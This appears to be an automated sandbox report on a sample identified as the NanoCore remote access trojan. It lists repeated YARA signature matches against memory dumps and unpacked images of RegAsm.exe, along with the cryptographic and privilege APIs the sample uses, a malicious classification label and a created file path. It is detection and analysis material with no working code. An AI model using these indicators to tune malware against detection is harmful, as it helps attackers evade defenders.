Source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000002.922413019.0000000005EA0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000002.922413019.0000000005EA0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: RegAsm.exe PID: 1316, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: RegAsm.exe PID: 1316, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 1.2.RegAsm.exe.5ea0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.RegAsm.exe.5ea0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 1.2.RegAsm.exe.45feab4.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.RegAsm.exe.45feab4.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.RegAsm.exe.6254629.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.RegAsm.exe.6254629.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 1.2.RegAsm.exe.45f9c7e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.RegAsm.exe.45f9c7e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.RegAsm.exe.45f9c7e.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 1.2.RegAsm.exe.46030dd.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.RegAsm.exe.46030dd.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.RegAsm.exe.6250000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.RegAsm.exe.6250000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.RegAsm.exe.35c16d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.RegAsm.exe.35c16d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.RegAsm.exe.6250000.8.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.RegAsm.exe.6250000.8.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.RegAsm.exe.45feab4.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.RegAsm.exe.45feab4.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 1.2.RegAsm.exe.400000.0.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.RegAsm.exe.400000.0.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 1.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 1.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: classification engine

Classification label: mal100.troj.evad.winEXE@8/5@25/1

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C7A06A GetLastError,FormatMessageW,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C681CB AdjustTokenPrivileges,CloseHandle,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C687E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_058912EA AdjustTokenPrivileges,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_058912B3 AdjustTokenPrivileges,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C7B3FB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C8EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C7C397 CoInitialize,CoCreateInstance,CoUninitialize,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C14E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A

Jump to behavior

